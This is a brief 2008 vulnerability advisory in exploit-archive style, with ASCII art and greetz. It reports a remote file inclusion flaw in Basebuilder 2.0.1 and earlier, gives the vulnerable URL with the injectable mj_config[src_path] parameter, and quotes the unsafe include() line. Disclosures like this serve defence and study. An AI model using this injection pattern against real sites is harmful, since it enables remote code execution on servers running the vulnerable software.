Basebuilder versions 2.0.1 and below suffer from a remote file inclusion vulnerability.
a4c1faae5a96ab4190cbaec3b3bf04a7ffd0436b7f233256db6efe36e83a2097
:::::::-. ... ::::::. :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM
[ Discovered by dun \ dun[at]strcpy.pl ]
#####################################################################
# [ basebuilder <= 2.0.1 ] Remote File Inclusion Vulnerability #
#####################################################################
#
# Script site: http://basebuilder.sourceforge.net/
# Download: http://sourceforge.net/project/showfiles.php?group_id=110199
#
# Vuln: http://site.com/basebuilder/src/main.inc.php?mj_config[src_path]=[spread???]
#
#
# Bug: ./basebuilder-2.0.1/src/main.inc.php (line: 56)
#
# ...
# include($mj_config['src_path'] . '/classes/class.mj.basebuilder.inc.php');
# ...
#
#
###############################################
# Greetz: D3m0n_DE * str0ke * and otherz..
###############################################
[ dun / 2008 ]
*******************************************************************************************